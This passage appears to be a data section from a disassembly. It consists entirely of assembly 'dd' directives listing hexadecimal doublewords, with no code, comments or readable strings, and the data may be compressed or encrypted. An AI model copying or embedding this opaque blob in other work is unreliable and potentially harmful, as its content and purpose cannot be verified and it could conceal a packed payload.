		dd 6D40AD00h, 0C001AF01h, 6E1E806Fh, 0AAD1AE41h, 6BE06AD9h
		dd 0AB701Ch, 81A9C169h,	687040A8h, 0B8027867h, 7900B947h
		dd 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh, 7F0E7EBBh, 7D00BF70h
		dd 0BC81BDC1h, 0DE7C4030h, 2674C0B4h, 3BE17580h, 0B7CE7730h
		dd 403BB681h, 87720E76h, 80B340B2h, 81B10173h, 4170DC71h
		dd 5010B070h, 910090C1h, 93015140h, 528053C0h, 76927441h
		dd 1C567896h, 1971C57h,	8195C155h, 54CD4094h, 0C0019C01h
		dd 415D805Ch, 5FE49D70h, 819F07C1h, 615E409Eh, 0C89AE15Ah
		dd 5B60E09Bh, 59C099BEh, 41581F80h, 0DD88DF98h,	9F491D48h
		dd 0CE4B9889h, 8A1D818Bh, 4E874A40h, 8F208E87h,	40014F80h
		dd 4CEE4D8Dh, 88C4138h,	0B84C144h, 0B1814085h, 8747C087h
		dd 864146CEh, 42678247h, 831C4380h, 0C19C003Dh,	38EC6681h
		dd 7C07A8DBh, 0E389520Fh, 9CFCE410h, 0C158388Bh, 104359Dh
		dd 899D505Dh, 0DFA03016h, 0C21E927Ch, 204099B2h, 904210Ah
		dd 5F531D0Eh, 0A20FC0C8h, 36E0882Ch, 5B013B18h,	5ADC3Eh
		dd 0C8E36E59h, 410EA582h, 3446161Dh, 3E0EACD8h,	3EE42h
		dd 2FE83D73h, 0A32827FEh, 7EAFEA16h, 0BAD91Fh, 76D9C716h
		dd 31EC13h, 1422C3EEh, 0C80C2038h, 16EE8C98h, 0B3E41000h
		dd 0F4154CF0h, 30F64Bh,	0A101B247h, 0E8217061h,	6E1BBB1Eh
		dd 0D63A9680h, 63CF2Ch
		dd 56FF3083h, 0AD0F4B04h, 6636E900h, 0E828141Ah, 5E1E00EBh
		dd 0D060EEC6h, 51005652h, 8EBAFC02h, 9C3B24h, 4D17C877h
		dd 30AC0B0Ch, 0F5B0C200h, 6738B82h, 9A8C0060h, 0C1A707F3h
		dd 7503C8FEh, 0C9094981h, 0DF6A9AD7h, 647FF8E0h, 69D64400h
		dd 0FF9C181Fh, 75500079h, 0EE10595Dh, 0AC074514h, 2FA83D05h
		dd 25447EF0h, 4F61015Eh, 0C86FF488h, 0FC0680F8h, 1F75F24Dh
		dd 0CCD000D5h, 3B67AC55h, 0A6007306h, 16C60FFh,	0E6E82B70h
		dd 467B00D0h, 570CF8C9h, 72075002h, 8DB38615h, 6FE82730h
		dd 0EA42588Fh, 65315700h, 0DB85D873h, 110076FCh, 0D13BCC5Eh
		dd 2ED25274h, 0E77D6h, 758D5713h, 0EB0002AEh, 1904B998h
		dd 95F95Fh, 6A7A1E46h, 0AE1F42B0h, 3D01C978h, 47CB80DFh
		dd 76D0A201h, 2516001Dh, 0C0FEB005h, 8C0E5567h,	0C0AA9854h
		dd 5A38CAE9h, 8B28031Dh, 0D3CCA396h, 29A9B388h,	80EC0C39h
		dd 1E202E6Dh, 0E8D5F8h,	99FFD271h, 88B83B75h, 50EAC702h
		dd 0E37E5FFEh, 42588802h, 0BD41006Ch, 2A3D7145h, 200DEE2h
		dd 23D6F7F3h, 275DF2h, 3920B22h, 767E1C6h, 40C3D500h, 0C28104FFh
		dd 0D7720095h, 0F8F1341Bh, 0AF00A438h, 0D339D05Bh, 7F9475C1h
		dd 4D2E0390h, 5C258908h, 71F246F0h, 0A5F34B00h,	0CE398E91h
		dd 112E00C1h, 82F7CAABh, 0C3008130h, 65C9C455h,	0EF039F1h
		dd 0CFF9BAB0h, 0F1E7DEC7h, 0D8D95616h, 5071025h, 6F4AC15Ch
		dd 3A144143h, 0F01EBACAh, 18A886F7h, 0B33C4E82h, 1C0374A5h
		dd 0AC25AE12h, 2063C72Eh, 0A4102005h, 950F24EEh, 0FD299D71h
		dd 0AB042800h, 0FF4B9689h, 0C89BEF71h, 30B3718Fh, 10878021h
		dd 52801E34h, 938013Ah,	97791257h, 0F3C10E0h, 9472B84Ah
		dd 0DE041DFDh, 8A6A0005h, 0FA9553F2h, 448C64DEh, 1F22A618h
		dd 8FA5F163h, 9C362F9h,	92072C11h, 0A9F35C88h, 0E858FBD3h
		dd 0C3E1840Eh, 2856901Ah, 0C3A4F8F0h, 141EEB67h, 2305EAF3h
		dd 47914EDAh, 40443C20h, 0CA106141h, 86164839h,	524A1CEh
		dd 6F315314h, 20C897Ah,	48202523h, 0C3001CBCh, 0E9880534h
		dd 43AD0677h, 4108A28Ch, 811C0D44h, 2301206h, 0C901FF64h
		dd 90E04D09h, 33F200F7h, 0F350F172h, 84000469h,	0B22A2041h
		dd 296EECh, 1263F04Ah, 0AAB0740Bh, 0B9E1C91Fh, 6B002812h
		dd 38201042h, 0D6591F95h, 0A1880336h, 13B01757h, 0CA7EAC4Ah
		dd 1003A2F0h, 0BF925509h, 0BAAAC1B4h, 0AD3F90BBh, 2C2864FEh
		dd 84A403A9h, 9D6A1F1Dh, 0BD70D95Ah, 0C2D9093h,	18598832h
		dd 90067D24h, 713F8CE3h, 3044802Bh, 6625AB12h, 0C83CFE68h
		dd 8905B4Bh, 0A5185020h, 4576D4C4h, 0BCB0424h, 0C1F15ECAh
		dd 708806A1h, 3A3D56ABh, 313F46h, 165BF362h, 1E7F740Ah
		dd 5F2FC8AAh, 0F08E80D9h, 110F5D42h, 1C041433h,	0F2D4D324h
		dd 5F9C808Dh, 63E61559h, 78189C92h, 0D230CCAh, 8921BDAFh
		dd 0E2F89502h, 12E6C304h, 0B8F9BCF7h, 0EB51F0B4h, 0C43E2B7Fh
		dd 25AA8C3Ch, 80184AE0h, 3488D544h, 0CAA8204Ah,	7F2E148h
		dd 57BEA22Ah, 54C221F9h, 0F1FC4AB3h, 89B0C308h,	91FC5EA8h
		dd 9E9D51E0h, 1804168h,	4A3CB06h, 84E07A9h, 500C56E0h
		dd 0F4B8745Dh, 430D6800h, 0D0388817h, 7685EA14h, 0DCEE0044h
		dd 0C91621C0h, 0FF7C4674h, 3EEA5E2Eh, 1C1F700h,	741CD9Eh
		dd 0D1048A49h, 300A7332h, 3BF90FC3h, 3CE9E827h,	4002D907h
		dd 66D00D18h, 74048B1Dh, 1E331C4Eh, 80899F4Ah, 83A52E4Fh
		dd 203E0C66h, 8A61808Eh, 0F2EB8F1Ch, 0EE881E45h, 44470399h
		dd 9CF0E169h, 483AA63Bh, 0A9218057h, 0B0683CE4h, 647585h
		dd 0B80A7320h, 55357469h, 0C305E901h, 0B448F87Eh, 47CCEC40h
		dd 0A95A00C5h, 9E159204h, 8B308D5Bh, 123BB222h,	95D300BCh
		dd 5083440Dh, 0FE03380Fh, 17045257h, 8908A314h,	0F7F8F070h
		dd 119A00CAh, 275C08Bh,	15392B94h, 9E059CA9h, 0FE081380h
		dd 749CB254h, 61800E1h,	2F23B459h, 0FA03A25Ch, 6445A88Bh
		dd 71C59088h, 804D01C3h, 8F26A69h, 172DE4D3h, 5D277005h
		dd 0F1ACBCB4h, 2B157300h, 0CBF956FBh, 0A4E37A00h, 1C071B12h
		dd 0DE98004Eh, 0C8EB722Ah, 7300CF26h, 0D0AC795Eh, 0F7D51A2h
		dd 1AA42BDBh, 19582163h, 60E4D7D1h, 17039156h, 4FA9A276h
		dd 0F85FC30Bh, 788AE7Eh, 0D1BE5355h, 1BEC80E8h,	5E005B2Fh
		dd 0E2F77208h, 1E5FDC8h, 5181AD1Fh, 6132B9C6h, 0F18CC8C0h
		dd 36F02200h, 0D01931BBh, 0F56D0EF8h, 50C18624h, 0E4F49A52h
		dd 5600F203h, 9636641h,	1D4B9085h, 9DBFFB83h, 948F00ACh
		dd 0FA71EA55h, 0F0F27A00h, 7B9B1028h, 14030F3Bh, 0AE611872h
		dd 0CC51B375h, 1002372Ch, 0F3F0344Fh, 0FEE340A6h, 89F400E3h
		dd 2EBF804h, 0C800C031h, 0BF841090h, 0C970F1h, 3C7FB12Bh
		dd 1A961130h, 41D24124h, 3DA5C100h, 7F349455h, 36640043h
		dd 0F7C90F4h, 1AFC54B6h, 4B0E9490h, 0C0F9D101h,	7C5D81C7h
		dd 4CD701E2h, 8DF42F65h, 0DFCBFCFEh, 0D54F850Fh, 0EB4BC0FFh
		dd 1EB8B657h, 80C69D6Bh, 0F4A74D1Dh, 91005ADCh,	580BC98Ah
		dd 7402320h, 151AD042h,	3DEB6013h, 1B04E57Ch, 8D78384Ah
		dd 54704D87h, 70486443h, 0EAD13F07h, 7CD28580h,	0B58AFA12h
		dd 750B7800h, 881E1C01h, 0E800318h, 4A02C083h, 91EF51E0h
		dd 60BD3A03h, 0D04BFCC8h, 3D49B13h, 6A2AC22h, 8DB1FDB4h
		dd 0DA8BE4C0h, 0F41246EEh, 0DF013926h, 30A58559h, 0C428C1EFh
		dd 98C017D8h, 8E02007Ch, 6854A118h, 0AC9083F6h,	85000F79h
		dd 9541015Fh, 39FD3B0h,	1913CC45h, 0A2900D66h, 4207D55Ch
		dd 1A6CFD9Dh, 68D103F0h, 0C0322E24h, 0C7C500EFh, 1F1EB5FFh
		dd 1764DB00h, 5A8C5452h, 0E5A400A8h, 34FB1056h,	0D7008209h
		dd 85890147h, 7598ABCh,	2F06BD83h, 91590FEh, 8B005184h
		dd 1CEEAA41h, 803108h, 9FA6C721h, 7C86C2FFh, 9715C800h
		dd 0B80D55F9h, 2FB90070h, 3E64B5E2h, 20048D0h, 27DC14B2h
		dd 44B820h, 50143D4h, 0B566281Bh, 830F3D05h, 0C1BE1CC6h
		dd 8E431330h, 0A03C6BC4h, 50887281h, 1F2F010Ch,	3916F76Ah
		dd 8C8F878h, 39A0200h, 80B96019h, 0C1FE00E2h, 0CAB1DFE7h
		dd 440099A0h, 35062005h, 3C3438Dh, 48777EB8h, 2C991F68h
		dd 80CD4A5h, 40D05900h,	0D250C653h, 0FD8A3AE7h,	0F6BF2780h
		dd 0E0B41B4h, 0E1230101h, 151DC384h, 7CF88F8h, 0B1E9EDA4h
		dd 810FF9EEh, 0D77C6880h, 0E8001748h, 0FD19E1F2h, 1560A1Dh
		dd 463576DAh, 0DC2A5420h, 250310B2h, 7475F8Bh, 0F156E06Ah
		dd 3AC07788h, 7FBD14Ah,	956EEB62h, 9D8B50CEh, 83184787h
		dd 14D010F0h, 0D4D63C97h, 0B0FE880h, 53D23E01h,	8A71CD00h
		dd 0B78E13B9h, 26100027h, 164AAB95h, 63EED84Eh,	0EC835707h
		dd 89D1673Dh, 0B5609940h, 0F27B0009h, 8435D337h, 49008FAEh
		dd 0EC5EDD2Fh, 2130879h, 982E8B5Ch, 0A5606353h,	0CC03A869h
		dd 28853AF3h, 435AE020h, 724000B8h, 58E14BECh, 0E244D2Ch
		dd 56004441h, 5357AED6h, 0D83900FAh, 68518376h,	0CA00AD3Eh
		dd 1E15587Dh, 23AC3h, 0A0149574h, 637C0CACh, 0F0444007h
		dd 805973BFh, 114BD920h, 0EFE3A69h, 552D098Eh, 78FF3C3Eh
		dd 23725C21h, 9A0AFF0Eh, 0EB50DA40h, 591FB525h,	6F00794Ah
		dd 50CE8EDh, 7112F675h,	784D00F8h, 7CA85DF0h, 1F1345E1h
		dd 260E7D0Eh, 4254C04Ch, 0EA9768h, 5DEEE456h, 523CA546h
		dd 4CC75700h
		dd 8DF3C959h, 0BBF60054h, 40E06BBAh, 0BF0B3CD5h, 0B59F9Ah
		dd 44CE4653h, 6BF300B7h, 0A2EEF47Bh, 2400D23Ch,	705C9D64h
		dd 42C0B4h, 0E4534AFEh,	8D6DD0AAh, 0D700C8FCh, 9772EF0Dh
		dd 8FE8C3h, 98E0138h, 2C03C766h, 43C2830Fh, 7F084106h
		dd 3AD08107h, 0CCB00F0h, 0E2EACBFh, 2014510h, 2D4C6A30h
		dd 0B09FC32Bh, 132C0732h, 121CF018h, 11C1D08h, 80B91E80h
		dd 8B0EC020h, 31473h, 0EE930C69h, 0F29FEDAh, 2C6EE000h
		dd 8C046865h, 43C43EB5h, 20748680h, 80401C93h, 758D3803h
		dd 0F9601317h, 2870A203h, 53620B72h, 0CC80C214h, 55B39296h
		dd 4A00DB79h, 541825BCh, 852120h, 0A542F4ADh, 0DE973E16h
		dd 3441331Fh, 2B1A8179h, 85240F4Ch, 1D453E9h, 0C9E7A06Fh
		dd 0C2C40709h, 0D021E365h, 0FACF4F94h, 127113Ch, 0BD47B85Bh
		dd 0EC85422h, 4CBE00B0h, 6303E179h, 443D6C61h, 65768072h
		dd 0EC749530h, 3A430E50h, 75A0CCB4h, 6C118721h,	1D7CA13Bh
		dd 9C80890Ah, 0C58B730h, 87D4009Fh, 0DB45C6E1h,	100009BFh
		dd 404D8D43h, 50DA1463h, 0D9B45Ch, 74C3FB3Ah, 0E9870CBEh
		dd 0F1044F98h, 63DE9515h, 0CCC0F2C7h, 75804CFEh, 755A00F3h
		dd 0E7F9DF5Fh, 550025DDh, 450F43Bh, 1F84F335h, 336F42h
		dd 9F90E82Eh, 0CC00E446h, 0DC09E03Fh, 1F41F1h, 17122211h
		dd 870D072Bh, 0AF0F8000h, 9CADC75h, 0B8A02E0h, 3EF708BAh
		dd 0EC55D660h, 0CA6C51Eh, 89F8F3CAh, 0D9B47C01h, 50E46E53h
		dd 232A0208h, 28877141h, 3B83FC80h, 76B8D12Eh, 0E10A300h
		dd 0DD114178h, 0B66E0003h, 72040C28h, 8A7B1812h, 3A3901F2h
		dd 0E758250h, 41020742h, 78E95303h, 1CCBC4h, 522249FFh
		dd 85BABE45h, 0A2315D00h, 0A36F5853h, 0FFC50F11h, 88E0C733h
		dd 5A65372Bh, 0FE2A8200h, 0C0B70F02h, 0F84D0067h, 9A72F9B5h
		dd 8F076D17h, 0E78BAAFDh, 2ABF0370h, 311600CFh,	58633F23h
		dd 6DF6D761h, 0FC55C000h, 8D95FA2Ch, 91BD072Ah,	0B0EA4C39h
		dd 5F0B4D93h, 1D7D8F00h, 909C1FBCh, 0AEAD0141h,	0C55880D6h
		dd 70182023h, 1DCCA13Bh, 5280880Ah, 0EC2CA7D4h,	54A3022Dh
		dd 29B63D8Dh, 0A51A0560h, 0EB97E48h, 0E0F3CB9Ch, 440C2A20h
		dd 5089077Ch, 51100DD1h, 61E91977h, 0A6C3202Fh,	1500E8F4h
		dd 28799020h, 2D058Bh, 1CDB313Fh, 0DAC043C1h, 74D80100h
		dd 0E31DD112h, 0C0E0072h, 0F61485E1h, 0E42CC8FCh, 7300CBDAh
		dd 785152F2h, 0FB600023h, 0C131A00Dh, 20E14E1h,	54B98Dh
		dd 0AEF3FD4Fh, 790B8FCh, 1CA483ACh, 0E9ABA204h,	70816641h
		dd 4717BA62h, 0C50040A7h, 27A09184h, 24F50774h,	0F8FA80h
		dd 0FC1390Dh, 920060FEh, 1D495057h, 8CFE89h, 0EE475DDBh
		dd 159862B8h, 81268D7Dh, 1612E344h, 0AE80841Fh,	1418F51Bh
		dd 42933A84h, 0BB00753Bh, 7378E5A7h, 2300A56Ah,	3E797769h
		dd 8D760Ah, 56423514h, 0F429DBB2h, 5C0038EEh, 0EA72A5EBh
		dd 0E2D14B0h, 39FC5A61h, 905C7C0h, 93E47648h, 458C3C00h
		dd 94BAEC3Eh, 75F500C5h, 9198548Bh, 0C10074B1h,	3A77EF56h
		dd 0A9D319h, 0EBE2BB0Dh, 4910434Fh, 0DD07901Fh,	75623000h
		dd 26961Bh, 0E9855BA5h,	103D154Ch, 0A316A80Fh, 0B9A9E7A7h
		dd 147D8BD0h, 5FB60028h, 8F805E5Bh, 173936E9h, 95380C9h
		dd 480F34C3h, 4CAE4C41h, 7794050Ch, 830011BCh, 0C958F631h
		dd 0D9B81Ch, 240A7EFFh,	0F70545B5h, 0C201E300h,	0DF8DD284h
		dd 35460E1Ch, 89800615h, 40E3E2D7h, 14012A07h, 3C203B11h
		dd 1E4199F0h, 0C08944BEh, 1525F7FEh, 0C3006978h, 3519010h
		dd 0B823A905h, 495A038Eh, 7180A5C8h, 790407E0h,	93893200h
		dd 46B0095Ch, 82DC1FE2h, 0A314C084h, 0BA1C1318h, 97920400h
		dd 0E8BF6793h, 0CCA006Fh, 0B2FF9415h, 3D008BC5h, 0D43B060Eh
		dd 7D485Ch, 82B13E2Ch, 1A72D939h, 8D6C9000h, 9149E534h
		dd 3C75DDh, 0A47DA6F8h,	460FA712h, 0E1541A00h, 7C8848A5h
		dd 77190094h, 4CEFEA99h, 0FF073534h, 4D21832h, 0A8C35B40h
		dd 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh, 0FA81F800h, 4BBF4F0Ah
		dd 878A00D1h, 0FDA68846h, 0F62E410Ch, 0BB0EF43Dh, 27902023h
		dd 3AF8F06Ah, 190096F9h, 0D5D20A0Ch, 100E954h, 0D3445E9Fh
		dd 0D8EE02h, 9B750852h,	48711CDDh, 2AC31000h, 3B558F8h
		dd 33C812A0h, 8FF05DBh,	57A9019Fh, 0FC2DE241h, 0C174D0D2h
		dd 8A49C200h, 8EF83BCAh, 73200FBh, 87D5355Ah, 9D0088F1h
		dd 0C8D0E44Ch, 184351C1h, 66085D3Bh, 42001D40h,	0EFD6934Eh
		dd 1F90ABDCh, 40106A12h, 3075448Dh, 0AC09B93Fh,	9109B5h
		dd 0F5EF123Eh, 8BF61EC4h, 0DD807E06h, 0BE11F9ECh, 0CA2C4128h
		dd 803FF28Dh, 0E0EB4AD6h, 5BF782h, 0F8C7448Ch, 0D0FB5FEFh
		dd 4A8A330Fh, 95F58013h, 3FF0DA2h, 0F72765C5h, 56D0B614h
		dd 85395917h, 0CB4800EAh, 0D947EBCh, 158A0582h,	81615E4Ch
		dd 0F00F1032h, 35170BC3h, 700F3C5h, 0E37F02BAh,	0B1E40074h
		dd 0C8F26FA9h, 9C00A892h, 0F385E83Eh, 127B81h, 8B414C87h
		dd 0D03D1880h, 0D6732600h, 830FDFA7h, 124300E5h, 60890C24h
		dd 0DF901A90h, 59EF1000h, 5D88A03h, 352900CBh, 0BA37DCD2h
		dd 7200DAC1h, 22124E1Fh, 1772110h, 0C6F7690Dh, 402BACCEh
		dd 0CB2519B0h, 1F947500h, 0DD1802F3h, 5E1D0064h, 913BA40h
		dd 0E800CEFAh, 0F535AE4Ah, 53CCA9h, 0D9D24EFFh,	897F4801h
		dd 16C90A07h, 64C158FCh, 0E6600E19h, 2833B32h, 3E92042Ch
		dd 3B66A080h, 7127506h,	76C98500h, 45BE8B20h, 0EEFC2C5Dh
		dd 814000Bh, 21612EBh, 0C00017Ah, 0D400EC0h, 355449h, 41CE751Bh
		dd 8289AC08h, 0EAA4F800h, 4790C362h, 142D00DCh,	3EE091FBh
		dd 1500EE21h, 0EC2906C0h, 0F01F84h, 1DC8BD4Ch, 0FC485FB9h
		dd 0EFE06B02h, 0F58E412Dh, 344F9B40h, 0D029EDF5h, 0C50079B7h
		dd 4ACCBD43h, 4FB67h, 0A0380C4h, 8B87558Dh, 351DD77Dh
		dd 49001EB5h, 1AB940C6h, 19FA00C4h, 1624DEC0h, 0B100DF77h
		dd 9B7A8528h, 70CAA1Dh,	899E2099h, 1A7FB0FBh, 24008E01h
		dd 7027CA11h, 0FCDFF045h, 320D0598h, 802EE2E9h,	9B89110Fh
		dd 50003E71h, 25F5E86Fh, 1A6DC9h, 2DAF884Ah, 0BD830685h
		dd 9847E40Fh, 0EB2BA108h, 0B02E7E1Ch, 7500F25Dh, 43C61611h
		dd 28FB05h, 0C134E94Ah,	0A282701Dh, 1C8E9507h, 857214C0h
		dd 0D7C0C0D2h, 0B4481FA0h, 5C80FAEAh, 0F78023Ah, 0F7008537h
		dd 0B26BBA13h, 710D49Ch, 80792075h, 1757D054h, 11001993h
		dd 0D2515303h, 0A04D14h, 0F78B4781h, 0D0AA4256h, 9EFFB300h
		dd 0E8FCEF51h, 136100D3h, 7F468A3Ch, 88050920h,	699D7F9h
		dd 87578580h, 30871C2h,	0A2B45005h, 604C6A8Eh, 4DE82C66h
		dd 49271B00h, 0C0223Dh,	0BAE12A76h, 0AA922E38h,	7B430700h
		dd 0EE811EE0h, 971400A2h, 754F8568h, 0A91328E2h, 6100CA21h
		dd 951ABB92h, 610D0705h, 50201253h, 915189D4h, 80D00E3Ch
		dd 3C4F9BE8h, 1F7F55h, 522228DCh, 0A11392F0h, 0E6E55800h
		dd 309419D1h, 21F53F59h, 0D740A00h, 0ADD73C84h,	4300EC90h
		dd 564B5E2Ah, 1C212C30h, 0DE1D5960h, 40B51F5Bh,	792A4D6h
		dd 2C037389h, 852E56DDh, 352DA0FCh, 6B6C1EE9h, 0C0655D64h
		dd 991257C2h, 0AB735B30h, 6800C4E8h, 164E912Dh,	0AF6CB8h
		dd 0C20B9557h, 0C050C194h, 2DAD2201h, 49AC5C90h, 4021FD40h
		dd 6C7002Ch
		dd 2811D6D4h, 9B03CB42h, 22431AFDh, 7AD998AAh, 4330093h
		dd 3C60ABCh, 0C9009901h, 6F8B29DEh, 75B9A609h, 116500A5h
		dd 5B73A488h, 1AE626C7h, 535D7401h, 41243EF9h, 0D794E8h
		dd 8DD38549h, 0E8CB3122h, 7B80BE1Eh, 4C7E04C0h,	1FBAE619h
		dd 402F2BE1h, 0F62E284Ah, 46FE2D42h, 52D6EE00h,	92B6E74Fh
		dd 2AB3008Dh, 1CB95D65h, 2E1F29C4h, 80E7438h, 4254C730h
		dd 17AF9770h, 3F59FA90h, 0EC00F7F0h, 0CF806A9h,	0E4008AF4h
		dd 89FC7E5Fh, 0F100F41h, 53A22F3Eh, 3B2C9FA0h, 8000550Eh
		dd 0A9F752B9h, 77138B2Ah, 1AA80796h, 0B008F49Fh, 4A95651Dh
		dd 54855600h, 5E2F412Eh, 6570E776h, 0AA810057h,	80744965h
		dd 0BE0207F0h, 0EB0F0263h, 0B24DE005h, 7F17F8C1h, 0EC880E11h
		dd 29604276h, 5245CC6h,	55455900h, 0EB3125B2h, 93AF00CAh
		dd 5C7D1404h, 0E1002CBCh, 100E2F71h, 77F1799Ch,	9A0A0078h
		dd 0EC6EDF3Eh, 52000B44h, 7367650Eh, 0EE9320h, 0D3815A84h
		dd 9B64C883h, 71BF1800h, 17514794h, 93F20052h, 31D0811Fh
		dd 0F80039D2h, 41D7408h, 5275F7h, 9A16B192h, 730A8BB0h
		dd 806D400h, 95419FE8h,	0B8495F01h, 0B87E007Eh,	9451A25Ch
		dd 740C0018h, 76453AF4h, 6F3ED5EFh, 0BD200735h,	95F00A9Eh
		dd 3CE25EAh, 0DB481408h, 0F7A0D81Eh, 3D00A5D0h,	8A9018A9h
		dd 7BC8FE04h, 6CF100F6h, 59AD14B9h, 107D865h, 0C7D8051h
		dd 0BBF27F50h, 5AEB0039h, 1FE81A03h, 0C8005220h, 0E224D455h
		dd 0F45148Ah, 4D485D37h, 0D03BA520h, 46BE5105h,	0D800912Eh
		dd 46048D21h, 0AA9E00C0h, 696FB20h, 0D900AB10h,	0FAEBFC4h
		dd 98177504h, 95700023h, 16F2B8D8h, 0BE005CD4h,	0F8573ECEh
		dd 54964h, 0B814922Ah, 6741526h, 5869A703h, 0D8D1D7C2h
		dd 13F681Ch, 3323E1FDh,	0D8458850h, 10FA03B2h, 48A05D3Dh
		dd 7ED20333h, 0C0800F40h, 704CA3Eh, 5E0E8803h, 304AC7C3h
		dd 0C40C51F1h, 0B2262F07h, 3A701B39h, 7A66320Eh, 2E467588h
		dd 0E5F45Ah, 5DD05110h,	0E800F83Eh, 0D825996Fh,	730BEE89h
		dd 4FAE0h, 0C822B7Ch, 265FAD56h, 2ACBC907h, 5B7046FBh
		dd 16BD1A21h, 0D0A58h, 1E8CED37h, 7800A06Bh, 0FF21CC43h
		dd 274D10h, 60DEDF75h, 7DF9B1E7h, 0A7B36400h, 0EB2AC154h
		dd 24A90707h, 57EA5953h, 0F57A501Fh, 84002065h,	2C413249h
		dd 7944A0h, 70B8220Ah, 62FB53BDh, 190507Fh, 3300A0FCh
		dd 13156A8h, 200BE5h, 5C15D524h, 6051F8C6h, 0DB040801h
		dd 2BAB4533h, 59C29E4h,	1D1CF527h, 10F28019h, 13001109h
		dd 87D18512h, 0EE881848h, 44012C1Ch, 57003F59h,	0D5721571h
		dd 2D00B479h, 0DF5AD4F6h, 44CBD6Dh, 503089D9h, 338C8004h
		dd 0A00CFD2h, 8D88EF18h, 219C11h, 0C36847C6h, 0E27B7880h
		dd 0B055500h, 22CA2EBAh, 60570044h, 4B011029h, 2801FA5Fh
		dd 16BE5250h, 4C4CB24h,	0D58300B3h, 0A981FBEBh,	9100187Ah
		dd 235060Ch, 0E2A876h, 5A402D7Ch, 52643155h, 83762AE4h
		dd 0A6187800h, 14D98906h, 0FCCE78FFh, 5A540E40h, 1CAFE4DDh
		dd 0A42BFAC3h, 830C1AA0h, 7430682Eh, 14020800h,	0FE6A24B2h
		dd 3F40F60h, 0AA0129B0h, 0CED8AC10h, 808A3EC0h,	0AF49741Fh
		dd 0DCE82B00h, 0E2F8B2h, 8DFC864Ah, 0D65048A4h,	7F000D7Eh
		dd 0C52F4423h, 7380C96Dh, 90D300A8h, 6774292Eh,	32003BD9h
		dd 1120C61h, 2036A5Bh, 0AB574555h, 946330C3h, 2D9935EBh
		dd 9014D05Eh, 1C8ACD1Fh, 66B000B9h, 0CE81DCAAh,	0C2D80088h
		dd 0C457016Ah, 430060C3h, 0F87D89A3h, 2F6FFABh,	996625A7h
		dd 4ADEEF7Eh, 3302C900h, 10CE307h, 1C8D180Bh, 0D8C26938h
		dd 9B1E825Ch, 0EC00428Ah, 8BF697C8h, 0ABBC0229h, 519ACAA1h
		dd 864BC640h, 5045480Ah, 500B91Fh, 44F0E83Fh, 34CE0095h
		dd 7DDB1EC3h, 0FE033E09h, 1058E665h, 0E7C0F8CDh, 0EA310066h
		dd 110DA5C3h, 100A229h,	0DC1C5E06h, 86957Eh, 70FEF684h
		dd 80905214h, 0D821E500h, 7D05253Bh, 4280E2Eh, 0A54261A6h
		dd 0D0609FA0h, 1C002DE3h, 715FC831h, 934335h, 8D092280h
		dd 89A59644h, 6610B900h, 148EBB8h, 55500018h, 0C395CCCFh
		dd 8300021Fh, 20CD0C10h, 0B0067Dh, 6CE8AAF2h, 0F312C879h
		dd 80037BFEh, 363E2E26h, 6A65D064h, 0CD770006h,	234D836Dh
		dd 9DB0145Bh, 15A65E14h, 0A39400D5h, 0BEA09A95h, 74EB0D3h
		dd 3F8624FEh, 0E72230D2h, 420F01B7h, 56A57h, 0F2088AECh
		dd 3B580051h, 0C24AE5FDh, 0A258FCDDh, 452401DBh, 4E776905h
		dd 3491E8h, 0D317DB79h,	0A1C267Ah, 9DC0C100h, 0A6C81DE0h
		dd 0F7070142h, 0D8C3F8C2h, 0FF2FD983h, 10B3D0F0h, 0E801E074h
		dd 601316FFh, 0CF0E6Ah,	2D461C66h, 7C09E381h, 0B6430403h
		dd 0C0C0D3A0h, 0D80108h, 48469466h, 65AD7AAAh, 745A3401h
		dd 0C081D9C8h, 0D8D0D0h, 85CCFCE0h, 26076B24h, 303CC200h
		dd 0ED805889h, 66813BB3h, 5AA59Fh, 0D485F442h, 1000D07Ah
		dd 3738273Fh, 0A241B6h,	0B804129Ah, 8B2EC6AAh, 0ED779201h
		dd 0B151520Ah, 45AC0E0h, 0B88DC850h, 0D137837Ch, 38302880h
		dd 130B0300h, 2B230A1Bh, 0AA5E0033h, 8084B14Ah,	0A200C0C7h
		dd 6AB550B6h, 1D35C5AEh, 3EF58B98h, 0CAB803F9h,	335868F2h
		dd 2B0328D8h, 44DB300h,	37F3C43Fh, 1733C55h, 5663004h
		dd 0BA1DC044h, 1D0FD276h, 405D786Ah, 0FEE16753h, 6E010028h
		dd 91F93538h, 22009409h, 0DAC144AAh, 16EC89h, 693E552h
		dd 92EA3FEh, 3133E81Eh,	1EA6C74Ch, 841403FDh, 0A272F03h
		dd 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h, 0D3B11994h
		dd 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h,	0CDF15898h
		dd 8FE5300h, 0EC1EFF26h, 91FD1400h, 65C2ADE1h, 47823B42h
		dd 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h, 0A62D0042h
		dd 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h, 0CC240764h
		dd 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh, 776A3A1Bh
		dd 7D249500h, 4C568F01h, 0E45C0C00h, 401563A6h,	0C5D90050h
		dd 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h,	19A30FC2h
		dd 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh, 6469F2h
		dd 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh,	0C3E33400h
		dd 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h, 3BA80628h
		dd 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h, 0E4DAF200h
		dd 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh, 0EAE7EC89h
		dd 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh, 88002A93h
		dd 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh, 6500E035h
		dd 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h, 0FA00A2BBh
		dd 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h, 7393C500h
		dd 5328BF07h, 641500C3h, 99200634h, 2B0578DDh, 5B5C1189h
		dd 60A478C2h, 30AEB15h,	0EC4502FAh, 0ADD85852h,	3B004683h
		dd 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh, 96C0A938h
		dd 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h, 0CEB8001Ah
